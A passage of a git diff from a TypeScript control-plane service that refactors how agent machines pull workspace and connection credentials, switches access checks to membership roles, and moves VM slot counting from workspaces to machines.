rather than at the next sync cadence. */ -function addBoxConnectionRoutes( - router: CoreRouter, - runtimeFactory: RuntimeFactory, -): void { - router.get("/workspaces/self/connections", async (context) => { - const runtime = runtimeFactory(context); - const { workspace } = await boxCaller(runtime, context.req.raw); - return context.json({ - connections: manifestConnectionNames(workspace.manifest).sort(), - }); - }); - - // 403 with a request id is the refusal an agent can act on: the id is the - // inbox row the member answers, and `blitz connections open ` is - // how the agent sends them there. - router.post("/workspaces/self/connections/:name/token", async (context) => { - const runtime = runtimeFactory(context); - const { workspace, boxId, principal } = await boxCaller(runtime, context.req.raw); - const name = requiredString(context.req.param("name"), "name", 256); - const connection = await connectionByName(runtime.db, name, workspace.org_id ?? ""); - if (connection === null) { - const requestId = await fileRequest( - runtime.db, - workspace.id, - name, - [], - { boxId, userId: principal.id }, - ); - throw new HttpError(404, `connection ${name} is not configured`, requestId); - } - const outcome = await mintOne(runtime, { - workspace, - boxId, - principal, - origin: new URL(context.req.url).origin, - connection, - scopes: connectionDefaultScopes(connection), - denied: "error", - }); - if (outcome === null) throw new Error("box credential mint was skipped"); - return context.json(parseMintResult(mintResultBody(outcome.result))); - }); + return { workspace, name }; } export function addCredentialRoutes( @@ -560,7 +481,10 @@ export function addCredentialRoutes( addRequestRoutes(router, runtimeFactory, requirePrincipal); addProxyRoute(router, runtimeFactory); - addBoxConnectionRoutes(router, runtimeFactory); + // The guest side of the credential plane: what an agent may ask for, and how + // it asks. Split into its own module so this one stays under the 700-line + // warn (house rule: split on touch). + addBoxConnectionRoutes(router, runtimeFactory, mintOne); /** Connect, from the webApp. It writes the provider into this workspace's * manifest, then mints once so the person learns straight away whether the diff --git a/packages/control-plane/core/connections/pull-routes.ts b/packages/control-plane/core/connections/pull-routes.ts new file mode 100644 index 00000000..b1b60ba6 --- /dev/null +++ b/packages/control-plane/core/connections/pull-routes.ts @@ -0,0 +1,207 @@ +import { first, rows } from "../db.js"; +import { HttpError, requiredString } from "../http.js"; +import { authenticateBox } from "../oauth.js"; +import type { Principal } from "../principals.js"; +import type { CoreRouter, RuntimeFactory } from "../runtime.js"; +import { + liveWorkspaceCredentials, + workspaceCredentialValue, +} from "../workspace-credentials.js"; +import { connectionDefaultScopes, manifestConnectionNames } from "./manifest.js"; +import { mintResultBody, parseMintResult } from "./pull-wire.js"; +import { connectionByName } from "./registry.js"; +import { fileRequest } from "./requests.js"; +import type { MintResult, WorkspaceConnectionsResponse } from "./types.js"; +import type { MintOneInput, MintOutcome, MintWorkspaceRow } from "./mint.js"; + +type MintOne = ( + runtime: ReturnType, + input: MintOneInput, +) => Promise; + +/** + * A machine asking on its own behalf. + * + * There is no session here, so the acting principal is resolved from + * `machines.membership_id` AT CALL TIME. Nothing about who the guest acts as + * is stored beside its credential: the row that used to hold it pinned the + * workspace OWNER, so every member's box minted as one person and every audit + * row was written in that person's name. The machine's member IS the identity + * now — nothing is borrowed, and there is no disclosure to make. + */ +interface MachineCaller { + workspace: MintWorkspaceRow; + machineId: string; + principal: Principal; +} + +async function boxCaller( + runtime: ReturnType, + request: Request, +): Promise { + const box = await authenticateBox(request, runtime.db); + if (box === null) throw new HttpError(401, "invalid box access token"); + if (box.workspaceId === null || box.membershipId === null) { + throw new HttpError(409, "box has no workspace"); + } + const workspace = await first(runtime.db, { + q: `SELECT id, owner_id, manifest, org_id, owner_membership_id + FROM workspaces WHERE id = ?1 AND deleted_at IS NULL LIMIT 1`, + v: [box.workspaceId], + }); + if (workspace === null) { + throw new HttpError(409, "workspace is not ready for credential minting"); + } + if (workspace.org_id === null) throw new HttpError(409, "workspace has no organization"); + const membership = await first<{ id: string; role: "admin" | "member" }>(runtime.db, { + q: `SELECT id, role FROM memberships + WHERE id = ?1 AND org_id = ?2 AND status = 'active' LIMIT 1`, + v: [box.membershipId, workspace.org_id], + }); + return { + workspace, + machineId: box.id, + principal: { + id: box.principalId, + unixName: "blitz", + harnesses: [], + membershipId: membership?.id ?? null, + orgId: membership === null ? null : workspace.org_id, + role: membership?.role ?? null, + platformOperator: box.platformOperator, + }, + }; +} + +/** How long a workspace-credential answer stays valid to the asking agent. + * + * A workspace credential is a stored static, so there is nothing to expire + * server-side. The pull wire requires an expiry all the same, and a short one + * is the honest number: it says "ask again", which is the whole delivery + * model, and it is what makes a revoke take effect on the next call. */ +const WORKSPACE_CREDENTIAL_TTL_MS = 15 * 60 * 1000; + +/** The workspace-plane answer: the sealed value, served through the same wire + * a connection mint uses so the box needs no second code path (§4 step 2). */ +function workspaceCredentialMint(name: string, value: string, now: number): MintResult { + return { + connection: name, + mode: "inject", + token: value, + env: [{ name, value }], + header: { name: "Authorization", prefix: "Bearer " }, + expiresAt: now + WORKSPACE_CREDENTIAL_TTL_MS, + }; +} + +/** One audit row per workspace-credential use. There is no lease to hang it + * on — a workspace credential has no connection row — so the event names the + * machine and its member directly. */ +async function recordWorkspaceCredentialUse( + runtime: ReturnType, + workspaceId: string, + machineId: string, + name: string, + principal: Principal, + now: number, +): Promise { + await rows(runtime.db, { + q: `INSERT INTO credential_events (lease_id, event, detail, created_at) + VALUES (NULL, 'minted', ?1, ?2)`, + v: [ + JSON.stringify({ + workspace_credential: name, + box_id: machineId, + workspace_id: workspaceId, + acting_principal: { + userId: principal.id, + membershipId: principal.membershipId, + }, + }), + now, + ], + }); +} + +/** What an agent inside a machine may ask for, and how it asks. + * + * Nothing is delivered ahead of use. The box reads the allow-list to know what + * it may ask for, and mints one credential at the moment it needs it. The + * allow-list is the workspace's connection ceiling PLUS its workspace + * credential names, because `blitz-cred` is the single door to both planes + * (plans/MEMBER-MACHINES.md §4). The manifest and the credential list are read + * on every call, so a Disconnect or a revoke takes effect on the very next + * pull rather than at the next sync cadence. */ +function addBoxConnectionRoutes( + router: CoreRouter, + runtimeFactory: RuntimeFactory, + mintOne: MintOne, +): void { + router.get("/workspaces/self/connections", async (context) => { + const runtime = runtimeFactory(context); + const { workspace } = await boxCaller(runtime, context.req.raw); + const credentials = await liveWorkspaceCredentials(runtime.db, workspace.id); + return context.json({ + connections: [...new Set([ + ...manifestConnectionNames(workspace.manifest), + ...credentials.map(({ name }) => name), + ])].sort(), + }); + }); + + // 403 with a request id is the refusal an agent can act on: the id is the + // inbox row the member answers, and `blitz connections open ` is + // how the agent sends them there. + router.post("/workspaces/self/connections/:name/token", async (context) => { + const runtime = runtimeFactory(context); + const { workspace, machineId, principal } = await boxCaller(runtime, context.req.raw); + const name = requiredString(context.req.param("name"), "name", 256); + const connection = await connectionByName(runtime.db, name, workspace.org_id ?? ""); + if (connection === null) { + // Personal plane first, then the workspace plane (§4). A connection is + // the personal plane, so reaching here means the member has no grant + // under this name and the workspace's own store is the next answer. + const value = await workspaceCredentialValue( + runtime.db, + runtime.credentialMasterKey, + workspace.id, + name, + ); + if (value !== null) { + const now = Date.now(); + await recordWorkspaceCredentialUse( + runtime, + workspace.id, + machineId, + name, + principal, + now, + ); + return context.json(parseMintResult( + mintResultBody(workspaceCredentialMint(name, value, now)), + )); + } + const requestId = await fileRequest( + runtime.db, + workspace.id, + name, + [], + { boxId: machineId, userId: principal.id }, + ); + throw new HttpError(404, `connection ${name} is not configured`, requestId); + } + const outcome = await mintOne(runtime, { + workspace, + machineId, + principal, + origin: new URL(context.req.url).origin, + connection, + scopes: connectionDefaultScopes(connection), + denied: "error", + }); + if (outcome === null) throw new Error("box credential mint was skipped"); + return context.json(parseMintResult(mintResultBody(outcome.result))); + }); +} + +export { addBoxConnectionRoutes }; diff --git a/packages/control-plane/core/connections/requests.ts b/packages/control-plane/core/connections/requests.ts index c3fe35fa..2372afcf 100644 --- a/packages/control-plane/core/connections/requests.ts +++ b/packages/control-plane/core/connections/requests.ts @@ -9,7 +9,7 @@ import { usableByAllows, } from "./manifest.js"; import { connectionByName } from "./registry.js"; -import { canControlWorkspace } from "../workspace-access.js"; +import { isWorkspaceAdmin, workspaceAccess } from "../workspace-access.js"; type RequestState = "pending" | "approved" | "denied"; @@ -112,7 +112,11 @@ async function requestForResolution( if (request === null || request.org_id !== principal.orgId) { throw new HttpError(404, "credential request not found"); } - if (!canControlWorkspace(principal, request)) throw new HttpError(403, "forbidden"); + if (!isWorkspaceAdmin(await workspaceAccess(db, principal, { + id: request.workspace_id, + org_id: request.org_id, + owner_membership_id: request.owner_membership_id, + }))) throw new HttpError(403, "forbidden"); if (request.state !== "pending") { throw new HttpError(409, "credential request is not pending"); } diff --git a/packages/control-plane/core/entitlements.ts b/packages/control-plane/core/entitlements.ts index 04a1363e..dedfe69c 100644 --- a/packages/control-plane/core/entitlements.ts +++ b/packages/control-plane/core/entitlements.ts @@ -1,4 +1,5 @@ import { bearerToken, safeEqualSecret } from "./crypto.js"; +import { MACHINE_SLOT_STATES } from "./workspace-records.js"; import { first, transaction } from "./db.js"; import { HttpError, @@ -43,11 +44,16 @@ const FREE_SEAT_LIMIT = 1; /** How long a checkout handoff token stays valid. */ const HANDOFF_TOKEN_TTL_SECONDS = 15 * 60; -/** Workspace phases that hold a VM slot. Written once and read by both the - * create-path predicate in core/workspaces.ts and the usage report below, so - * the number a person is shown and the number they are stopped by are the - * same number. */ -export const VM_SLOT_PHASES = "'creating', 'ready', 'destroying', 'error'"; +/** Machine states that hold a VM slot. It is `MACHINE_SLOT_STATES` in + * core/workspace-records.ts, imported rather than re-spelled, so the number a + * person is shown and the number they are stopped by are the same number. + * + * The unit changed with member machines: a workspace is configuration and + * costs nothing, a machine is a VM and costs money, so `vm_limit` counts + * machines. An organization that ran ten one-member workspaces sees the same + * number as before; one that adds a second member to a workspace now sees the + * second VM it is actually paying for. */ +export { MACHINE_SLOT_STATES } from "./workspace-records.js"; /** The billing service's write, parsed at the boundary into the named wire * type. An absent `platformCompute` is `false`: the body states an @@ -332,8 +338,10 @@ export function addEntitlementsRoutes( platform_compute: number; }>(runtime.db, { q: `SELECT o.vm_limit, - (SELECT COUNT(*) FROM workspaces - WHERE org_id = o.id AND phase IN (${VM_SLOT_PHASES})) AS vms_used, + (SELECT COUNT(*) FROM machines m + JOIN workspaces w ON w.id = m.workspace_id + WHERE w.org_id = o.id + AND m.state IN (${MACHINE_SLOT_STATES})) AS vms_used, ${activeSeatsSql("o.id")} AS seats_used, ${seatLimitSql("o.id")} AS seat_limit, ${platformComputeSql("o.id")} AS platform_compute diff --git a/packages/control-plane/core/environment.ts b/packages/control-plane/core/environment.ts index f24afc78..b47548a8 100644 --- a/packages/control-plane/core/environment.ts +++ b/packages/control-plane/core/environment.ts @@ -1,145 +1,27 @@ -import { first } from "./db.js"; -import { - HttpError, - isBoolean, - isRecord, - isString, - type JsonValue, -} from "./http.js"; +import { HttpError } from "./http.js"; import { authenticateBox } from "./oauth.js"; import type { CoreRouter, RuntimeFactory } from "./runtime.js"; -import type { - WorkspaceEnvironment, - WorkspaceEnvironmentResponse, -} from "./wire.js"; +import type { WorkspaceEnvironmentResponse } from "./wire.js"; -const ENVIRONMENT_KEY = /^[A-Za-z_][A-Za-z0-9_]*$/u; -/** The box (Go) and the actor (TypeScript) re-declare these numbers in their - * own runtimes; `schema/fixtures/workspace-environment/` pins all three. */ -export const ENVIRONMENT_MAX_KEYS = 50; -export const ENVIRONMENT_MAX_BYTES = 8 * 1024; -export const STARTUP_SCRIPT_MAX_BYTES = 64 * 1024; -/** Largest legal create/update body: userData 48 KiB + env 8 KiB + startup - * script 64 KiB + a credential manifest and JSON escaping on top. JSON.parse - * runs before any of it is validated, so the ceiling stays close to real. */ +/** Largest legal create/update body: userData 48 KiB, a credential manifest, + * a member roster and JSON escaping on top. JSON.parse runs before any of it + * is validated, so the ceiling stays close to real. */ export const WORKSPACE_REQUEST_MAX_BYTES = 128 * 1024; -function byteLength(value: string): number { - return new TextEncoder().encode(value).byteLength; -} - -function parseEnvironmentValue(value: JsonValue): WorkspaceEnvironment { - if (!isRecord(value)) throw new Error("environment must be an object"); - const fields = Object.keys(value).sort(); - if (fields.join(",") !== "env,startupScript") { - throw new Error("environment must contain only env and startupScript"); - } - if (!isRecord(value.env)) throw new Error("environment.env must be an object"); - const entries = Object.entries(value.env); - if (entries.length > ENVIRONMENT_MAX_KEYS) { - throw new Error(`environment.env must have at most ${String(ENVIRONMENT_MAX_KEYS)} keys`); - } - const validated: Array<[string, string]> = []; - let bytes = 0; - for (const [key, candidate] of entries) { - if (!ENVIRONMENT_KEY.test(key)) { - throw new Error(`environment.env key ${key} is invalid`); - } - if (!isString(candidate)) { - throw new Error(`environment.env.${key} must be a string`); - } - if (candidate.includes("\0")) { - throw new Error(`environment.env.${key} must not contain NUL`); - } - bytes += byteLength(key) + byteLength(candidate); - if (bytes > ENVIRONMENT_MAX_BYTES) { - throw new Error(`environment.env must be at most ${String(ENVIRONMENT_MAX_BYTES)} UTF-8 bytes`); - } - validated.push([key, candidate]); - } - if (!(value.startupScript === null || isString(value.startupScript))) { - throw new Error("environment.startupScript must be a string or null"); - } - if ( - value.startupScript !== null - && byteLength(value.startupScript) > STARTUP_SCRIPT_MAX_BYTES - ) { - throw new Error( - `environment.startupScript must be at most ${String(STARTUP_SCRIPT_MAX_BYTES)} UTF-8 bytes`, - ); - } - return { env: Object.fromEntries(validated), startupScript: value.startupScript }; -} - -export function parseWorkspaceEnvironment(value: JsonValue): WorkspaceEnvironment { - try { - return parseEnvironmentValue(value); - } catch (caught) { - const message = caught instanceof Error ? caught.message : "environment is invalid"; - throw new HttpError(400, message); - } -} - -/** Stored environment that no longer parses reads as "none configured". One - * unreadable row must not take down the list route that projects every - * workspace in the org. */ -export function workspaceEnvironmentFromJson( - value: string | null, - reportError?: (code: string, error: Error) => void, -): WorkspaceEnvironment | null { - if (value === null) return null; - try { - return parseEnvironmentValue(JSON.parse(value)); - } catch (caught) { - const detail = caught instanceof Error ? caught.message : "unparseable"; - reportError?.( - "workspace_environment_unreadable", - new Error(`stored workspace environment is invalid: ${detail}`), - ); - return null; - } -} - -export function workspaceEnvironmentJson(value: WorkspaceEnvironment): string { - return JSON.stringify(value); -} - -/** Stored form of a submitted environment. An environment with no variables - * and no script is stored as NULL so "nothing configured" has one - * representation: create omits the field, and an edit that cleared the form - * submits the empty one. */ -export function storedWorkspaceEnvironment( - value: WorkspaceEnvironment | undefined, -): string | null { - if (value === undefined) return null; - if (Object.keys(value.env).length === 0 && value.startupScript === null) return null; - return workspaceEnvironmentJson(value); -} - -export function parseWorkspaceEnvironmentResponse( - value: JsonValue, -): WorkspaceEnvironmentResponse { - if (!isRecord(value)) throw new Error("workspace environment response must be an object"); - const fields = Object.keys(value).sort(); - if (fields.join(",") !== "env,filesReady,startupScript") { - throw new Error("workspace environment response has unexpected fields"); - } - if (value.env === undefined || value.startupScript === undefined) { - throw new Error("workspace environment response is missing fields"); - } - if (!isBoolean(value.filesReady)) { - throw new Error("workspace environment response filesReady must be boolean"); - } - const environment = parseEnvironmentValue({ - env: value.env, - startupScript: value.startupScript, - }); - return { ...environment, filesReady: value.filesReady }; -} - -/** The box's own view of its environment. Serving it through - * `parseWorkspaceEnvironmentResponse` is what makes the shared fixture corpus - * bind the bytes the box actually receives. */ +/** + * The legacy workspace-environment route. + * + * The feature is gone: values live in `workspace_credentials` and only + * `blitz-cred` reads them, and the startup script has no runner left. The + * route stays because DEPLOYED broker binaries poll it every second at boot + * and wait for a 200 carrying all three fields with `filesReady: true`. A 404 + * or a missing field makes every already-deployed box poll forever, so this + * answers the empty set unconditionally — no workspace lookup, no readiness + * gate, nothing that can turn into a retry. + * + * It is a compatibility shim with an expiry: it can go once no box that polls + * it is still running. + */ export function addWorkspaceEnvironmentRoutes( router: CoreRouter, runtimeFactory: RuntimeFactory, @@ -152,26 +34,13 @@ export function addWorkspaceEnvironmentRoutes( throw new HttpError(403, "box is not attached to a workspace"); } const idParam = context.req.param("id"); - const workspaceId = idParam === "self" ? box.workspaceId : idParam; - if (box.workspaceId !== workspaceId) { + if (idParam !== "self" && box.workspaceId !== idParam) { throw new HttpError(403, "a box may only read its own workspace environment"); } - const workspace = await first<{ - environment: string | null; - files_ready: number; - phase: string; - }>(runtime.db, { - q: "SELECT environment, files_ready, phase FROM workspaces WHERE id = ?1 LIMIT 1", - v: [workspaceId], + return context.json({ + env: {}, + startupScript: null, + filesReady: true, }); - if (workspace === null || workspace.phase !== "ready") { - throw new HttpError(409, "workspace environment is not ready"); - } - const environment = workspaceEnvironmentFromJson(workspace.environment, runtime.reportError) - ?? { env: {}, startupScript: null }; - return context.json(parseWorkspaceEnvironmentResponse({ - ...environment, - filesReady: workspace.files_ready === 1, - })); }); } diff --git a/packages/control-plane/core/files/attachments.ts b/packages/control-plane/core/files/attachments.ts index c20896ef..63d1a7fb 100644 --- a/packages/control-plane/core/files/attachments.ts +++ b/packages/control-plane/core/files/attachments.ts @@ -8,7 +8,7 @@ import { } from "../http.js"; import type { Principal } from "../principals.js"; import type { CoreContext, CoreRouter, RuntimeFactory } from "../runtime.js"; -import { canControlWorkspace } from "../workspace-access.js"; +import { isWorkspaceAdmin, workspaceAccess } from "../workspace-access.js"; import type { FolderAttachmentView, ListFolderAttachmentsResponse, @@ -59,13 +59,13 @@ async function controlledWorkspace( ): Promise { const workspace = await first(runtime.db, { q: `SELECT id, org_id, owner_membership_id - FROM workspaces WHERE id = ?1 AND phase != 'destroyed' LIMIT 1`, + FROM workspaces WHERE id = ?1 AND deleted_at IS NULL LIMIT 1`, v: [id], }); if (workspace === null || workspace.org_id !== actor.principal.orgId) { throw new HttpError(404, "workspace not found"); } - if (!canControlWorkspace(actor.principal, workspace)) { + if (!isWorkspaceAdmin(await workspaceAccess(runtime.db, actor.principal, workspace))) { throw new HttpError(403, "forbidden"); } return workspace; diff --git a/packages/control-plane/core/files/folders.ts b/packages/control-plane/core/files/folders.ts index ef1dd535..96dfc508 100644 --- a/packages/control-plane/core/files/folders.ts +++ b/packages/control-plane/core/files/folders.ts @@ -173,7 +173,7 @@ export function addFolderRoutes( FROM folder_attachments attachment JOIN workspaces workspace ON workspace.id = attachment.workspace_id - AND workspace.phase != 'destroyed' + AND workspace.deleted_at IS NULL WHERE attachment.folder_id IN (${folderRows.map((_, index) => `?${index + 1}`).join(",")}) ORDER BY attachment.created_at, attachment.workspace_id`, v: folderRows.map(({ id }) => id), @@ -270,10 +270,6 @@ export function addFolderRoutes( q: "DELETE FROM folder_attachments WHERE folder_id = ?1", v: [folder.id], }); - await rows(runtime.db, { - q: "DELETE FROM workspace_template_folders WHERE folder_id = ?1", - v: [folder.id], - }); await deleteFolderObjects( runtime.fileObjects, folderObjectPrefix(folder.org_id, folder.id), diff --git a/packages/control-plane/core/files/readiness.ts b/packages/control-plane/core/files/readiness.ts index 972c7e9a..595cfa50 100644 --- a/packages/control-plane/core/files/readiness.ts +++ b/packages/control-plane/core/files/readiness.ts @@ -37,7 +37,8 @@ export async function convergeFilesReady( ): Promise { if (syncedAttachments < await attachedFolderCount(runtime, workspaceId)) return false; await rows(runtime.db, { - q: "UPDATE workspaces SET files_ready = 1 WHERE id = ?1 AND phase = 'ready' AND files_ready = 0", + q: `UPDATE workspaces SET files_ready = 1 + WHERE id = ?1 AND deleted_at IS NULL AND files_ready = 0`, v: [workspaceId], }); return true; @@ -49,7 +50,7 @@ export async function convergeFilesReady( async function markUnattachedWorkspacesReady(runtime: CoreRuntime): Promise { await rows(runtime.db, { q: `UPDATE workspaces SET files_ready = 1 - WHERE phase = 'ready' AND files_ready = 0 + WHERE deleted_at IS NULL AND files_ready = 0 AND NOT EXISTS ( SELECT 1 FROM folder_attachments WHERE workspace_id = workspaces.id )`, diff --git a/packages/control-plane/core/files/sync.ts b/packages/control-plane/core/files/sync.ts index 1e32a79c..af728b1d 100644 --- a/packages/control-plane/core/files/sync.ts +++ b/packages/control-plane/core/files/sync.ts @@ -246,8 +246,8 @@ async function attachmentRows( : ""; const value = filter.folderId ?? filter.workspaceId; return rows(runtime.db, { - q: `SELECT attachment.workspace_id, workspace.vm_id, - workspace.tunnel_hostname, attachment.folder_id, + q: `SELECT attachment.workspace_id, machine.vm_id, + machine.tunnel_hostname, attachment.folder_id, folder.name AS folder_name, attachment.attached_by_membership_id, attacher.user_id AS attacher_user_id, @@ -258,8 +258,14 @@ async function attachmentRows( JOIN folders folder ON folder.id = attachment.folder_id JOIN workspaces workspace ON workspace.id = attachment.workspace_id - AND workspace.phase = 'ready' - AND workspace.vm_id IS NOT NULL + AND workspace.deleted_at IS NULL + -- The owner's machine. Drive folders are workspace-wide, so one guest + -- receives them; the owner's is the one that always exists. + JOIN machines machine + ON machine.workspace_id = workspace.id + AND machine.membership_id = workspace.owner_membership_id + AND machine.state = 'running' + AND machine.vm_id IS NOT NULL JOIN memberships attacher ON attacher.id = attachment.attached_by_membership_id AND attacher.status = 'active' diff --git a/packages/control-plane/core/files/usage-push.ts b/packages/control-plane/core/files/usage-push.ts index 0f518231..d085fc2c 100644 --- a/packages/control-plane/core/files/usage-push.ts +++ b/packages/control-plane/core/files/usage-push.ts @@ -53,8 +53,8 @@ async function usageWorkspaceRows(runtime: CoreRuntime): Promise(runtime.db, { - q: `SELECT workspace.id AS workspace_id, workspace.vm_id, - workspace.tunnel_hostname, workspace.org_id, + q: `SELECT workspace.id AS workspace_id, machine.vm_id, + machine.tunnel_hostname, workspace.org_id, workspace.recipe_id, workspace.name AS workspace_name, org.usage_folder_id, owner_user.name AS owner_name FROM workspaces workspace @@ -65,7 +65,12 @@ async function usageWorkspaceRows(runtime: CoreRuntime): Promise { - const workspace = await first(runtime.db, { - q: `SELECT id, org_id, owner_membership_id, vm_id, tunnel_hostname - FROM workspaces WHERE id = ?1 AND phase != 'destroyed' LIMIT 1`, - v: [id], - }); - if (workspace === null || workspace.org_id !== principal.orgId) { - throw new HttpError(404, "workspace not found"); - } - if (!canControlWorkspace(principal, workspace)) throw new HttpError(403, "forbidden"); - return workspace; -} - -async function accessibleWorkspace( - runtime: CoreRuntime, - id: string, - principal: Principal, -): Promise { - const workspace = await first(runtime.db, { - q: `SELECT w.id, w.org_id, w.owner_membership_id, w.vm_id, - w.tunnel_hostname, w.org_share_role, grant.role AS grant_role - FROM workspaces w - LEFT JOIN workspace_grants grant - ON grant.workspace_id = w.id AND grant.membership_id = ?1 - WHERE w.id = ?2 AND w.phase != 'destroyed' LIMIT 1`, - v: [principal.membershipId, id], - }); - if (workspace === null || workspace.org_id !== principal.orgId) { - throw new HttpError(404, "workspace not found"); - } - if (workspaceRole(principal, workspace) === null) throw new HttpError(403, "forbidden"); - return workspace; -} - -function grantView(row: GrantRow) { - return { - id: row.id, - membershipId: row.membership_id, - role: row.role, - createdAt: row.created_at, - member: { name: row.name, email: row.email, avatarUrl: row.avatar_url }, - }; -} - -async function requireDrainResponse(response: Response | null): Promise { - if (response === null || !response.ok) { - throw new Error(`workspace drain failed with status ${response?.status ?? "unavailable"}`); - } -} - -function drainRequest(token: string, membershipId: string): Request { - return new Request("https://control-plane.invalid/admin/drain", { - method: "POST", - headers: { - "Content-Type": "application/json", - [WEBAPP_TOKEN_HEADER]: token, - }, - body: JSON.stringify({ membershipId }), - }); -} - -async function drainWorkspace( - runtime: CoreRuntime, - workspace: GrantWorkspaceRow, - membershipId: string, -): Promise { - if (workspace.vm_id === null) return; - const provider = runtime.providers.vmRegistry.forVmId(workspace.vm_id); - const token = await requireWorkspaceWebAppAuth(runtime.providers.webAppAuth).tokenFor(workspace.id); - if (provider?.proxyWebApp !== undefined) { - const drains = [provider.proxyWebApp( - workspace.vm_id, - 7445, - "/admin/drain", - drainRequest(token, membershipId), - )]; - if (provider.capabilities().webAppActorBypassesGateway === true) { - drains.push(provider.proxyWebApp( - workspace.vm_id, - 7444, - "/admin/drain", - drainRequest(token, membershipId), - )); - } - const settled = await Promise.allSettled(drains); - for (const result of settled) { - if (result.status === "rejected") throw result.reason; - await requireDrainResponse(result.value); - } - return; - } - const tunnels = runtime.providers.workspaceTunnels; - if (tunnels === undefined || workspace.tunnel_hostname === null) { - throw new Error("workspace drain has no gateway proxy path"); - } - await requireDrainResponse(await tunnels.proxy( - workspace.tunnel_hostname, - workspace.id, - 7445, - "/admin/drain", - drainRequest(token, membershipId), - token, - )); -} - -export function addGrantRoutes( - router: CoreRouter, - runtimeFactory: RuntimeFactory, - requirePrincipal: (context: CoreContext) => Promise, -): void { - router.get("/workspaces/:id/grants", async (context) => { - const principal = await requirePrincipal(context); - const runtime = runtimeFactory(context); - const workspace = await accessibleWorkspace(runtime, context.req.param("id"), principal); - const grants = await rows(runtime.db, { - q: `SELECT grant.id, grant.membership_id, grant.role, grant.created_at, - user.name, user.email, user.avatar_url - FROM workspace_grants grant - JOIN memberships member ON member.id = grant.membership_id - JOIN users user ON user.id = member.user_id - WHERE grant.workspace_id = ?1 - ORDER BY grant.created_at, grant.id`, - v: [workspace.id], - }); - return context.json({ grants: grants.map(grantView) }); - }); - - router.post("/workspaces/:id/grants", async (context) => { - const principal = await requirePrincipal(context); - const runtime = runtimeFactory(context); - const workspace = await controlledWorkspace(runtime, context.req.param("id"), principal); - const input = parseCreateGrant(await readJson(context.req.raw)); - const grantee = await first<{ id: string }>(runtime.db, { - q: `SELECT id FROM memberships - WHERE id = ?1 AND org_id = ?2 AND status = 'active' LIMIT 1`, - v: [input.membershipId, workspace.org_id], - }); - if (grantee === null) throw new HttpError(400, "grantee must be an active organization member"); - if (grantee.id === workspace.owner_membership_id) { - throw new HttpError(400, "workspace owner does not need a grant"); - } - const id = crypto.randomUUID(); - const createdAt = Date.now(); - await rows(runtime.db, { - q: `INSERT INTO workspace_grants - (id, workspace_id, membership_id, role, granted_by_membership_id, created_at) - VALUES (?1, ?2, ?3, ?4, ?5, ?6) - ON CONFLICT(workspace_id, membership_id) DO UPDATE SET - role = excluded.role, granted_by_membership_id = excluded.granted_by_membership_id, - created_at = excluded.created_at`, - v: [id, workspace.id, input.membershipId, input.role, principal.membershipId, createdAt], - }); - const grant = await first(runtime.db, { - q: `SELECT grant.id, grant.membership_id, grant.role, grant.created_at, - user.name, user.email, user.avatar_url - FROM workspace_grants grant - JOIN memberships member ON member.id = grant.membership_id - JOIN users user ON user.id = member.user_id - WHERE grant.workspace_id = ?1 AND grant.membership_id = ?2 LIMIT 1`, - v: [workspace.id, input.membershipId], - }); - if (grant === null) throw new Error("workspace grant disappeared after creation"); - return context.json({ grant: grantView(grant) }, 201); - }); - - router.put("/workspaces/:id/org-role", async (context) => { - const principal = await requirePrincipal(context); - const runtime = runtimeFactory(context); - const workspace = await controlledWorkspace(runtime, context.req.param("id"), principal); - const value = await readJson(context.req.raw); - if (!isRecord(value)) throw new HttpError(400, "request body must be an object"); - if (value.role !== null && value.role !== "editor" && value.role !== "viewer") { - throw new HttpError(400, "role must be editor, viewer, or null"); - } - // Removal applies on the next request; unlike a personal grant revoke - // there is no single member to drain. - await rows(runtime.db, { - q: `UPDATE workspaces - SET org_share_role = ?1, revision = revision + 1, updated_at = ?2 - WHERE id = ?3`, - v: [value.role, Date.now(), workspace.id], - }); - return context.body(null, 204); - }); - - router.delete("/workspaces/:id/grants/:grantId", async (context) => { - const principal = await requirePrincipal(context); - const runtime = runtimeFactory(context); - const workspace = await controlledWorkspace(runtime, context.req.param("id"), principal); - const deleted = await rows<{ id: string; membership_id: string }>(runtime.db, { - q: `DELETE FROM workspace_grants - WHERE id = ?1 AND workspace_id = ?2 RETURNING id, membership_id`, - v: [context.req.param("grantId"), workspace.id], - }); - if (deleted.length === 0) throw new HttpError(404, "workspace grant not found"); - const target = deleted[0]; - if (target === undefined) throw new Error("deleted workspace grant did not return a target"); - const draining = drainWorkspace(runtime, workspace, target.membership_id).catch((caught) => { - const error = caught instanceof Error ? caught : new Error("workspace drain failed"); - runtime.reportError("workspace_grant_drain_failed", error); - }); - try { - runtime.waitUntil(draining); - } catch (caught) { - const error = caught instanceof Error ? caught : new Error("workspace drain scheduling failed"); - runtime.reportError("workspace_grant_drain_schedule_failed", error); - } - return context.body(null, 204); - }); -} diff --git a/packages/control-plane/core/identity/routes.ts b/packages/control-plane/core/identity/routes.ts index f4562d4e..cbdf177c 100644 --- a/packages/control-plane/core/identity/routes.ts +++ b/packages/control-plane/core/identity/routes.ts @@ -5,7 +5,6 @@ import type { Principal } from "../principals.js"; import { cookieValue, SESSION_COOKIE } from "../principals.js"; import type { CoreContext, CoreRouter, RuntimeFactory } from "../runtime.js"; import { addGoogleAuthRoutes } from "./google.js"; -import { addGrantRoutes } from "./grants.js"; import { addInviteRoutes } from "./invites.js"; import { addMemberRoutes } from "./members.js"; import { availableOrgSlug, DEFAULT_ORG_VM_LIMIT, MAX_SELF_CREATED_ORGS } from "./orgs.js"; @@ -145,7 +144,6 @@ export function addIdentityRoutes( addGoogleAuthRoutes(router, runtimeFactory); addInviteRoutes(router, runtimeFactory, requirePrincipal); addMemberRoutes(router, runtimeFactory, requirePrincipal); - addGrantRoutes(router, runtimeFactory, requirePrincipal); router.get("/me", async (context) => { const principal = await requirePrincipal(context); diff --git a/packages/control-plane/core/index.ts b/packages/control-plane/core/index.ts index 5b06a61f..4d2258f5 100644 --- a/packages/control-plane/core/index.ts +++ b/packages/control-plane/core/index.ts @@ -51,6 +51,19 @@ export { type ResolvedComputeProvider, } from "./compute/org-credentials.js"; export { WorkspaceTunnels, workspaceTunnelsFromEnv, WEBAPP_TOKEN_HEADER } from "./workspace-tunnels.js"; +export { + destroyMachine, + machineById, + machineFor, + provisionMachine, +} from "./machines.js"; +export type { MachineRow, WorkspaceRow } from "./workspace-records.js"; +export { machineView, workspaceView } from "./workspace-records.js"; +export { projectWorkspace, projectWorkspaces } from "./workspace-projection.js"; +export { + putWorkspaceCredential, + workspaceCredentialValue, +} from "./workspace-credentials.js"; export { requireWorkspaceWebAppAuth, WEBAPP_TICKET_TTL_SECONDS, 